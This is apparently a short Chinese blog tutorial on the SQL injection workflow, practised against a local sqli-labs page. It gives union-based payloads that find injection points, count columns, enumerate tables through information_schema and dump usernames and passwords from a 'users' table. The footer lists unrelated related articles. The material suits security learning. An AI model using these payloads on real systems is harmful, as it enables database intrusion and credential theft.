首页 > 数据库 >网安--sql注入流程

网安--sql注入流程

时间:2023-10-27 17:26:25浏览次数:31  
标签:group -- union 报错 concat sql 网安 select schema

1、判断有无注入点

使用and 1=1 测试

随便输入内容不报错:没有注入点

随意输入内容报错了:有注入点

2、猜解列名

order by 1/2/3/4...出现报错的前一个就是列名的数量

3、报错,判断回显点 union

?id = 1 union select 1,2,3...

上一步确定了字段数量,因为union的特性前后查询的列的数量要一致。

4、信息收集

5、使用对应的sql注入

获取密码使用数据库库名:security

在information_schema库中查找

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

group_concat去重分组函数

查看security库中的表

 查询表中的字段

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

 查询账号密码

union select 1,(select group_concat(username,0x3a,password)from users),3

或者union select 1, group_concat(username,0x3a,password),3 from users

 

标签:group,--,union,报错,concat,sql,网安,select,schema
From: https://www.cnblogs.com/L-1906/p/17790473.html

相关文章

  • [datax][报错解决] datax发送数据到hdfs时的一系列问题
    前提项目里有三个表需要同步到hdfs上,用datax进行全量同步,写了脚本一把梭,结果就报错了不支持truncate写入模式报错信息就是datax不支持truncate模式,原因是之前有的版本不支持truncate,源码有点问题,最好直接找最新的版本,没问题不支持写入HDFS报错IOException:bahbahbah...hdfs......
  • Nacos2.0.3集群搭建踩坑
    Nacos2.0版本相比1.X新增了gRPC的通信方式,如果已经有Nacos集群,那么需要更改集群的配置方式,这里以Nginx为例,来介绍下如何搭建集群。配置流程新增端口是在配置的主端口(server.port)基础上,进行一定偏移量自动生成。端口与主端口的偏移量描述98481000客户端gRPC请求服......
  • 分布式【分布式事务】
    一、事务    事务实现应该具备原子性、一致性、隔离性和持久性。即ACID。    原子性(Atomicity),可以理解为一个事务内的所有操作要么都执行,要么都不执行。    一致性(Consistency),可以理解为数据是满足完整性约束的,也就是不会存在中间状态的数据,比如你账上有4......
  • SimCLR
    声明本片文章主要介绍了自监督学习在预训练中的主要应用。许多内容非笔者原创,感谢以下作者对本篇文章的启发和指导。欢迎读者进行留言和讨论Self-SupervisedLearning超详细解读(二):SimCLR系列自监督学习——对比学习SimCLR框架(原理+代码)对比学习:通过比较不同实例之间的相似......
  • 新手教程系列:群晖 Synology Drive教程,如何实现文件同步与备份?
    SynologyDrive是群晖NAS的一款文件同步和共享工具,提供了非常完善的功能,您可以轻松地对文件进行分类、归档、共享等操作,也可以在多个设备之间同步文件、备份文件、共享文件,包括电脑、手机、平板等设备。总的来说,使用SynologyDrive的好处是可以方便快捷地在不同设备之间同步文件,保......
  • Linux文件IO操作 (系统调用函数)
    1.打开和关闭文件1.1open#include<unistd.h>#include<fcntl.h>intopen(constchar*pathname,intflags)/*pathname:打开文件的路径名(相对、绝对)flags:打开文件的方式(O_RDONLY|O_WRONLY|O_RDWR)---<fcntl.h>return:返回一个文件描述符或-1*/......
  • 【Java集合】了解集合的框架体系结构及常用实现类,从入门到精通!
    前言通过Java基础的学习,我们掌握了主要的Java语言基本的语法,同时了解学习了Java语言的核心-面向对象编程思想。从集合框架开始,也就是进入了java这些基础知识及面向对象思想进入实际应用编码的过程,通过jdk中集合这部分代码的阅读学习,就能发现这一点。本计划在这篇中把框架体系和......
  • 传统的API网关和SpringCloud Gateway区别对比
    传统的API网关和SpringCloudGateway的主要区别在于架构和性能。传统的API网关通常是独立于各个后端服务的,请求会先打到独立的网关层,再转发到服务集群。而SpringCloudGateway则将流量从南北走向改为东西走向,微服务网关和后端服务是在同一个容器中的,也被称为GatewaySidecar。......
  • 「学习笔记」网络流
    「学习笔记」网络流点击查看目录目录「学习笔记」网络流知识点一些基础定义最大流Ford-Fulkerson算法(增广路算法)Edmonds-Karp算法Dinic算法最小割费用流EK费用流ZKW费用流例题[SCOI2007]蜥蜴[SDOI2015]星际战争士兵占领[HNOI2007]紧急疏散EVACUATE[SDOI2009]晨跑[SDO......
  • docker 环境安装
    安装docker1.更新yum工具yuminstall-yyum-utilsdevice-mapper-persistent-datalvm22.更新镜像源#设置docker镜像源yum-config-manager\--add-repo\https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.reposed-i's/download.docker.com/mirrors......